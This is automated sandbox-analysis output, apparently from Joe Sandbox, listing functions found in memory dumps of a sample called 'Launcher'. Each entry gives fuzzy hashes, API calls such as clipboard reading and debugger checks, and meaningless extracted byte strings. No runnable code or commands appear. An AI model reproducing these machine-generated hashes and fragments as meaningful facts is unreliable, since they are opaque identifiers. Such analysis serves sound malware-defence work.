Opcode Fuzzy Hash: 227b3ff5576315b635a7910336eeac6758ebc8b89ea0154b3321cb937fa4b268
Instruction Fuzzy Hash: F7514B76A0D3009FE310DF65EC8175BB7E5EB86314F04853DF68487281E779990ACB9A

Function 0040A10E Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3376c5780ff4783cba57ca5b2ed756fdeca83758466a62a9a568b40f5c76f192
Instruction ID: e32dd57dfee8a6373bd6d9c6ffa489eeaa640e30f2edf390baa49a0d4f32e9e2
Opcode Fuzzy Hash: 3376c5780ff4783cba57ca5b2ed756fdeca83758466a62a9a568b40f5c76f192
Instruction Fuzzy Hash: 946107B4D002404FE704DF68C955BAEBBB1BB45304F1941ACD8886B385D778C846CBE6

Function 0040CE5A Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 151a0b0d1d0d1be4cc1d159a629a451b5c7fe46777ba24f86f3b905103d69d3c
Instruction ID: 684847568e63329ad74cab9d0d2d3044732733c62a1d1e84330838568e632740
Opcode Fuzzy Hash: 151a0b0d1d0d1be4cc1d159a629a451b5c7fe46777ba24f86f3b905103d69d3c
Instruction Fuzzy Hash: 021106356942449BEF048FA4DD967EE7FB2EF5A304F2440ADC041B7392D6398D458B5C

Function 0040C7A5 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d5f4ec3c9038722f1d4064c3d749de1a29aeeec8a9c3730a1ed6e76fe59fcc5
Instruction ID: 6223a200e89733de9b39cbb2e55d4e3386871cbfeb0ebab32caeb2a371115a50
Opcode Fuzzy Hash: 1d5f4ec3c9038722f1d4064c3d749de1a29aeeec8a9c3730a1ed6e76fe59fcc5
Instruction Fuzzy Hash: 63F039756183049FE7449F21EC847AAB3F5EB86305F41982CF99193261EB70D809DA0A

Function 0043B070 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?), ref: 0043B0F0

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 067062678a84efdd0e7db51d0cfa6fe89f7adf20a88878a0838a84ed2eadcfe8
Instruction ID: 0e8247adfe53c3d58792063fc2aa977bfa5c3ef0f2d592079fb2eb92c1b7fc94
Opcode Fuzzy Hash: 067062678a84efdd0e7db51d0cfa6fe89f7adf20a88878a0838a84ed2eadcfe8
Instruction Fuzzy Hash: 68014472A243508FC7089B64ECA5B2B7BA5EFC6305F0A403DDA81876A0E7B45810D7D6

Function 0042FC22 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042FC6B

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 08dafdfdfe9a7c9b6191068d195533e3b66fd54997fee8b243fdf1bbc06b4a11
Instruction ID: 132b52fd7802fe4bfc6d3a7148e392146a2953d2c6d09b9c10ac09a149df5120
Opcode Fuzzy Hash: 08dafdfdfe9a7c9b6191068d195533e3b66fd54997fee8b243fdf1bbc06b4a11
Instruction Fuzzy Hash: 7EF0A9B45057018FD344DF28C5A871ABBE0AB89704F10481CE0958B3A0DB759548CF81

Function 0043B030 Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,0041197E), ref: 0043B060

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c68143cb518e74a69266f4930f3d8b431186b7bd823fea2b57977c23afd500a3
Instruction ID: 4c64f78faed6f1d0fb51450777116b3bddbd2d2e4b33a2b21e8f3e9e9918578c
Opcode Fuzzy Hash: c68143cb518e74a69266f4930f3d8b431186b7bd823fea2b57977c23afd500a3
Instruction Fuzzy Hash: FEE048341087405BD7495B2498A1A6B7B61DB9A720F20156DE0D2936F1C7269817DE45

Function 0040D260 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040D273

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 5b077bfe4455e23a3c674899ef49d65f04014d2006343274f3f84038a774a7f6
Instruction ID: f853df7a29e590a315f10d920dec143745f9287da6b926524a5840ccd99faa2d
Opcode Fuzzy Hash: 5b077bfe4455e23a3c674899ef49d65f04014d2006343274f3f84038a774a7f6
Instruction Fuzzy Hash: 73D05E745901446BD200AB28AC06F2236688343B25F444235B6A2C61D7E9116914C56A

Function 0040D293 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040D2A5

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 94ae0bf42bc59fadde0ff639082cce8abde593e835750ad71f1e7d69a4288824
Instruction ID: 2d7b7a70427f1330292365c5a8f411c4952d63840b4a80755c1cfceed43a82c1
Opcode Fuzzy Hash: 94ae0bf42bc59fadde0ff639082cce8abde593e835750ad71f1e7d69a4288824
Instruction Fuzzy Hash: 02D0C9743D438176F2748B0CAC53F5436546307F12F300224B322FE2D0CAE071058A1D

Non-executed Functions

Function 00425344 Relevance: 16.0, Strings: 12, Instructions: 1043COMMON

Download Yara Rule

Strings

r1`3, xrefs: 004258B1
}s, xrefs: 0042553D
W@, xrefs: 00425B12
n9m;, xrefs: 004258C5
"B, xrefs: 00425731
}s, xrefs: 00425455
u5`7, xrefs: 004258BB
\2, xrefs: 00425B19
SQ, xrefs: 00425B0B
2- (, xrefs: 004254FC
" , xrefs: 00425A19
7654, xrefs: 00425D26

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: " $"B$2- ($7654$SQ$W@$\2$n9m;$r1`3$u5`7$}s$}s
API String ID: 0-327531642
Opcode ID: 4763f4544488dc213c48f2e26bd059baeeca52c6088159a995f66b0bddd8cd24
Instruction ID: 1ec7e797cd9eb8f4d7ad4eff3564fad9b8d8c7c05487f80a661f34697a0983b7
Opcode Fuzzy Hash: 4763f4544488dc213c48f2e26bd059baeeca52c6088159a995f66b0bddd8cd24
Instruction Fuzzy Hash: 8492FDB5A00B16DFDB14CF25D8806AABBB2FF45300F56855DC499AF761DB34A852CF80

Function 00426910 Relevance: 12.9, Strings: 10, Instructions: 416COMMON

Download Yara Rule

Strings

cS'Q, xrefs: 00426997
, xrefs: 00426E15, 00426E30
c/g-, xrefs: 0042698F
bkB, xrefs: 00426B50
X+\), xrefs: 00426AE5, 00426AFD, 00426BF5, 00426EC0, 00426C14, 00426B07, 00426EC4
$W U, xrefs: 0042699F
=O?M, xrefs: 004269CF
w1u, xrefs: 004269DF
+[&Y, xrefs: 004269A7
1UVW, xrefs: 00426D18

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: w1u$$W U$+[&Y$1UVW$=O?M$X+\)$bkB$c/g-$cS'Q$
API String ID: 0-1107640020
Opcode ID: d094553142b8fa0c3f843ef86b2216bf43cee4b104b0197a05f46ab8b87a6c2c
Instruction ID: 07adb09d38e0d3280f8d28688e1147cd8a6c36b3ce6469b78c24922fb3c68d64
Opcode Fuzzy Hash: d094553142b8fa0c3f843ef86b2216bf43cee4b104b0197a05f46ab8b87a6c2c
Instruction Fuzzy Hash: 8BD1E0B8608380DFE7209F25E88176BBBB1FBC2304F51496DF5854B261E7759806CB86

Function 00433550 Relevance: 9.1, APIs: 6, Instructions: 138clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00433572
GetWindowLongW.USER32 ref: 0043359D
GetClipboardData.USER32 ref: 004335AD
CloseClipboard.USER32 ref: 004336F4

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: Clipboard$CloseDataLongOpenWindow
String ID:
API String ID: 1647500905-0
Opcode ID: ce365d0da545476f18f4140f590a68767b83894f9fd16f6a09fcb78067349483
Instruction ID: 17803934bde16856924c357768b87d9616dc2f9b743b2c2e0f5da409e4691948
Opcode Fuzzy Hash: ce365d0da545476f18f4140f590a68767b83894f9fd16f6a09fcb78067349483
Instruction Fuzzy Hash: 4451F1B1808781DFD710AF78D54A39EBFA0AB15305F04863EE4858B782E37D9658C797

Function 002517FB Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002518EB

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 670051000669fc4198a07e9bf53609553f89f69f0a362f41d0af52424e242d28
Instruction ID: c40b5f560212bb7bd7010885ca26cbfb4d214dfd9636da22f34b1dd16e6ed254
Opcode Fuzzy Hash: 670051000669fc4198a07e9bf53609553f89f69f0a362f41d0af52424e242d28
Instruction Fuzzy Hash: 62710671C251196FDF35EF289C9DBBEB7B9EB05301F1441D9E809A3251DA304EA98F18

Function 0024A464 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0024A470
IsDebuggerPresent.KERNEL32 ref: 0024A53C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0024A55C
UnhandledExceptionFilter.KERNEL32(?), ref: 0024A566

Memory Dump Source

Source File: 00000003.00000002.2300473417.0000000000231000.00000020.00000001.01000000.00000003.sdmp, Offset: 00230000, based on PE: true

Associated: 00000003.00000002.2300448136.0000000000230000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300510676.0000000000258000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300534969.0000000000260000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300562910.0000000000264000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2300596949.0000000000266000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_230000_Launcher.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 20e554be1242da84a61cd2f3d2ff7f650d8df348eccee455c87938cf683a868b
Instruction ID: f46bbd9d1c0f0a304e69c9574235cde4cbd619251a9ddaafb9efd45d3900f620
Opcode Fuzzy Hash: 20e554be1242da84a61cd2f3d2ff7f650d8df348eccee455c87938cf683a868b
Instruction Fuzzy Hash: 52310775D553189BDF21EFA4D9897CDBBB8AF08304F1040AAE40CAB250EB719B85CF45

Function 0041AC64 Relevance: 5.7, Strings: 4, Instructions: 708COMMON

Download Yara Rule

Strings

`b]}, xrefs: 0041AF00
7654, xrefs: 0041ACA1
7654, xrefs: 0041B251
K7, xrefs: 0041ACC8

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: InitializeThunk
String ID: 7654$7654$K7$`b]}
API String ID: 2994545307-3105809555
Opcode ID: 9802f542914dd4b860a900ac3f1736758820710e1b073b33d4eb07b853cfbc3e
Instruction ID: 64c6081f0a2204a6899387c6940b517753b686c6832b0442df47da2492da9ce9
Opcode Fuzzy Hash: 9802f542914dd4b860a900ac3f1736758820710e1b073b33d4eb07b853cfbc3e
Instruction Fuzzy Hash: C3223475A093409BD714CF28D890BABB792EF96304F19856ED0C687362D774DC86CB8B

Function 0041DF00 Relevance: 5.6, Strings: 4, Instructions: 623COMMON

Download Yara Rule

Strings

4;, xrefs: 0041DFEE
|}, xrefs: 0041E105
.zH, xrefs: 0041E4DD
HzH, xrefs: 0041E51A

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: .zH$4;$HzH$|}
API String ID: 0-2754067922
Opcode ID: 16c00d66ed237cb7ac5fd89160097f63f69d048809e64baff63aaf6f17e4c28a
Instruction ID: 4c80123772d873f3d2cee772b4d38be2c1a2a5879bcda46720ca7d40980cb5f3
Opcode Fuzzy Hash: 16c00d66ed237cb7ac5fd89160097f63f69d048809e64baff63aaf6f17e4c28a
Instruction Fuzzy Hash: 511286B4D00205CBCB14CF69C8916EFBBB1FF46324F18852DE8956B385E338A946CB95

Function 00427580 Relevance: 5.6, Strings: 4, Instructions: 609COMMON

Download Yara Rule

Strings

gzyi, xrefs: 00427B91
cb`d, xrefs: 00427B99
`o, xrefs: 00427D8C
.y7/, xrefs: 00427DFF

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: .y7/$`o$cb`d$gzyi
API String ID: 0-1486537593
Opcode ID: f4fd3634d7af85613517cb621c8590516dddc43ecd63ca63492b3f332954c7e4
Instruction ID: 73ee5e978b3ae7903bd64636a7987c208e490655bfc664e26e61893c9cb750fe
Opcode Fuzzy Hash: f4fd3634d7af85613517cb621c8590516dddc43ecd63ca63492b3f332954c7e4
Instruction Fuzzy Hash: 141247B5A0C3518BD714CF25E85126BBBE1EFD6304F08896EE4C59B341D738D90ACB9A

Function 004298A8 Relevance: 5.5, Strings: 4, Instructions: 466COMMON

Download Yara Rule

Strings

Lz, xrefs: 00429C15
`{, xrefs: 00429BFD
~I, xrefs: 00429C05
uy, xrefs: 00429C0D

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: Lz$`{$uy$~I
API String ID: 0-1638023654
Opcode ID: 4939bdcd720d2d8cadce823c6c50284a5e7931ace41ba08f26985008098efa05
Instruction ID: 342cf044e97a58d3db7132360508a74081fc9fafca0238ac93fdbfb74b7ec0f7
Opcode Fuzzy Hash: 4939bdcd720d2d8cadce823c6c50284a5e7931ace41ba08f26985008098efa05
Instruction Fuzzy Hash: 02E1FDB16083209BC714CF14D86136BBBE1EFD5714F08891DE8C69B3A1E779C905CB8A

Function 00429F62 Relevance: 5.2, Strings: 4, Instructions: 161COMMON

Download Yara Rule

Strings

qz5@, xrefs: 0042A107
_z5@, xrefs: 0042A0CD
qz5@, xrefs: 00429FD7
_z5@, xrefs: 00429FA5

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: _z5@$_z5@$qz5@$qz5@
API String ID: 0-1441355546
Opcode ID: ac0fb15dc88d696ed3d50c071f0ac3644f2aab8c5deaa3ad17473f714e21756e
Instruction ID: 1cb89060f304c113218be3815143164a3d7a474535087d2138f222ec7f76e972
Opcode Fuzzy Hash: ac0fb15dc88d696ed3d50c071f0ac3644f2aab8c5deaa3ad17473f714e21756e
Instruction Fuzzy Hash: FF41E1715083208BCB149F14E81063BB7F1FFA6345F54991DE8D65B3A4E7398910C78B

Function 0041D201 Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

E"WX, xrefs: 0041D267
Z,ST, xrefs: 0041D275
S#r^, xrefs: 0041D26E
[-I3, xrefs: 0041D27C

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: E"WX$S#r^$Z,ST$[-I3
API String ID: 0-2576035952
Opcode ID: 13f34c4f50a1a07fab51708d4b918bbe42c87a8ccd365ccb80dfaec5ebea47d5
Instruction ID: 5a39df12ac70cea910d9df69709fed57744f71d54cded374284f8fdc3c439ac4
Opcode Fuzzy Hash: 13f34c4f50a1a07fab51708d4b918bbe42c87a8ccd365ccb80dfaec5ebea47d5
Instruction Fuzzy Hash: 3F3124B0514B908BC7658F3982603A3BBE1BF86314F58699DC4E387B92C739F442CB04

Function 00421F10 Relevance: 4.2, Strings: 3, Instructions: 453COMMON

Download Yara Rule

Strings

IE, xrefs: 0042206B
ZM, xrefs: 00422063
HF, xrefs: 00422073

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: HF$IE$ZM
API String ID: 0-58942596
Opcode ID: 7e84ae3a88c0c4df319599b0c6c06f440f3123c486e635d0d3d9c278290470a8
Instruction ID: 4d70116105068fe0a1585b5fee28dcb06b75358869d2f7aee483e1b39d9b0351
Opcode Fuzzy Hash: 7e84ae3a88c0c4df319599b0c6c06f440f3123c486e635d0d3d9c278290470a8
Instruction Fuzzy Hash: 3DC112B06083108BD724CF25D95176BB7F1FFA2350F488A5DE4D28B3A4E7B99904CB96

Function 0042A1A2 Relevance: 4.0, Strings: 3, Instructions: 227COMMON

Download Yara Rule

Strings

Nxnq, xrefs: 0042A228
F@VI, xrefs: 0042A218
cp, xrefs: 0042A238

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: F@VI$Nxnq$cp
API String ID: 0-4002531926
Opcode ID: 24dfb663d71b8e09813bf0f5456dca11cc10d3d639255235cb3a0c78bdf79dfb
Instruction ID: 8a29cccb321ec278c30b7ffc1d55adb7a6b13275fc88ca724196cb343f14b233
Opcode Fuzzy Hash: 24dfb663d71b8e09813bf0f5456dca11cc10d3d639255235cb3a0c78bdf79dfb
Instruction Fuzzy Hash: 758113B59083918FD314CF24D84166FBBE2AF85304F18896EE8D687392E679D845CB87

Function 00404930 Relevance: 4.0, Strings: 3, Instructions: 224COMMON

Download Yara Rule

Strings

BK@, xrefs: 00404B31
2J@, xrefs: 00404A22
I@, xrefs: 004049D6

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: 2J@$BK@$I@
API String ID: 0-187361804
Opcode ID: f6f0e5eb5162b6aaf46d31c3b152c7532c3223376071486b5f055edd2ef6a495
Instruction ID: f7c6d29b76e65a0d0bf1f6299292556ecd118515f81c415ee8970d329b3b0465
Opcode Fuzzy Hash: f6f0e5eb5162b6aaf46d31c3b152c7532c3223376071486b5f055edd2ef6a495
Instruction Fuzzy Hash: B571AC79609602CFDB08CF24E4A03AA77F1FB8A346F05807DE8858B292D775D985DF85

Function 00427774 Relevance: 3.0, Strings: 2, Instructions: 499COMMON

Download Yara Rule

Strings

gzyi, xrefs: 00427B91
cb`d, xrefs: 00427B99

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: cb`d$gzyi
API String ID: 0-146784027
Opcode ID: bec2e082f871bcbef0e6bbc3144a8f27d38fbbb0c4eb39aaa73caa54c4155fae
Instruction ID: 589721233e1184f7b93af10d955cab5016d861bdc776373f3e67ebdef895139e
Opcode Fuzzy Hash: bec2e082f871bcbef0e6bbc3144a8f27d38fbbb0c4eb39aaa73caa54c4155fae
Instruction Fuzzy Hash: 67F118B560C3518BC714DF25E89126BB7E1EF96304F08887EE4C597342E739D909CB5A

Function 0042C84A Relevance: 2.8, Strings: 2, Instructions: 309COMMON

Download Yara Rule

Strings

40F3, xrefs: 0042CA0C
z\B , xrefs: 0042CA02

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: 40F3$z\B
API String ID: 0-426307818
Opcode ID: 45f379b2dae90aea72c51e9e702bd7fff7091b14a155fa3f666690b9af15ba42
Instruction ID: 498da2e28091b230820d302b17542d13e6b523f95bed6f1ccb4e6a02f20431bc
Opcode Fuzzy Hash: 45f379b2dae90aea72c51e9e702bd7fff7091b14a155fa3f666690b9af15ba42
Instruction Fuzzy Hash: 52A10671604B818FE329CB39D4A17A7BBD1AF53304F58885EC0EB8B392D7796405CB65

Function 0042C8DC Relevance: 2.8, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

40F3, xrefs: 0042CA0C
z\B , xrefs: 0042CA02

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: 40F3$z\B
API String ID: 0-426307818
Opcode ID: 894d52e7406151b6594a9adfcf0dd35d61f7e320749617ee7a9955ca99d959aa
Instruction ID: 034a7008790bf69728bdf75bd2974393d91308eb0864f51b0121dd2d4574678b
Opcode Fuzzy Hash: 894d52e7406151b6594a9adfcf0dd35d61f7e320749617ee7a9955ca99d959aa
Instruction Fuzzy Hash: E5A10570604B818FE329CB39D4A17A7BBD2AF53304F58845EC0EB8B392D7796006CB65

Function 0042C929 Relevance: 2.8, Strings: 2, Instructions: 305COMMON

Download Yara Rule

Strings

40F3, xrefs: 0042CA0C
z\B , xrefs: 0042CA02

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: 40F3$z\B
API String ID: 0-426307818
Opcode ID: 29e53cf9b020ad464fdf824bbb6578da22d00ff9ce7fb0d1a3217d04609603cf
Instruction ID: bee1a0546301b459e96431053b5b94568506ebc424ead06ad1a0df34fef16323
Opcode Fuzzy Hash: 29e53cf9b020ad464fdf824bbb6578da22d00ff9ce7fb0d1a3217d04609603cf
Instruction Fuzzy Hash: 92A1F571604B818FE329CB39D4A17A7BBD2AF53304F58845EC0EB8B392D7796406CB65

Function 0042C918 Relevance: 2.8, Strings: 2, Instructions: 280COMMON

Download Yara Rule

Strings

40F3, xrefs: 0042CA0C
z\B , xrefs: 0042CA02

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: 40F3$z\B
API String ID: 0-426307818
Opcode ID: 92d84887212e068ebb43c38c83c2115f7bf3f104c6853f619a4717065197e9db
Instruction ID: 53d5a600ad2fb64aa9eefa9411e692cf7a0f670bbf2d035d9d804fd55e83da83
Opcode Fuzzy Hash: 92d84887212e068ebb43c38c83c2115f7bf3f104c6853f619a4717065197e9db
Instruction Fuzzy Hash: 2D91D671604B808FE325CB35D4A17B7BBD2AF53304F58845EC0EB8B692D7796406CB65

Function 00426959 Relevance: 2.7, Strings: 2, Instructions: 176COMMON

Download Yara Rule

Strings

Y`Pb, xrefs: 004270AD
yVh], xrefs: 004270EF

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: Y`Pb$yVh]
API String ID: 0-2084830440
Opcode ID: f52b21de84ce6a21add13dfa8e557a0538738c7fbc7296b4cc640362d4c6293c
Instruction ID: f722a9b3a85af15d1d0177742b6600c000020fd4e026f340dbf6347df914f1d4
Opcode Fuzzy Hash: f52b21de84ce6a21add13dfa8e557a0538738c7fbc7296b4cc640362d4c6293c
Instruction Fuzzy Hash: 64517C317483628BD7248E24A9A12B7FB90EF42350F99476EDA91477C2D33DD849D3CA

Function 004231F0 Relevance: 1.7, APIs: 1, Instructions: 241comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00443598,00000000,00000001,00443588), ref: 00423219

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 3bab1d380f97032a9f315e65e3d7766baebf32abcf04ab904765ecd122f1eb22
Instruction ID: 71ce44aec7d3b8c1f5f9fb612631e1477a0120926aca0f6bb1b722cf7af0fba3
Opcode Fuzzy Hash: 3bab1d380f97032a9f315e65e3d7766baebf32abcf04ab904765ecd122f1eb22
Instruction Fuzzy Hash: 7951CCB0700320ABDB20DF24DC86B6733B4EF8576AF444559E9858B390E77DEA05C72A

Function 00423450 Relevance: 1.7, Strings: 1, Instructions: 439COMMON

Download Yara Rule

Strings

!, xrefs: 00423475

Memory Dump Source

Source File: 00000003.00000002.2300644517.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_Launcher.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2553554435
Opcode ID: 2140aaf378637c4364fd0247320baf6ac4bb0000a29956785586fa384e716162
Instruction ID: f49577d193c8abb6453e9474ca47d3b4d1bfe81202629265be6873369bba8e08
Opcode Fuzzy Hash: 2140aaf378637c4364fd0247320baf6ac4bb0000a29956785586fa384e716162
Instruction Fuzzy Hash: 3DC167B6A043209BC724DF24D85162BB3F1EFD5314F59852EE8C697381E77CD9058396

Function 0042BA10 Relevance: 1.6, Strings: 1, Instructions: 395COMMON

Download Yara Rule

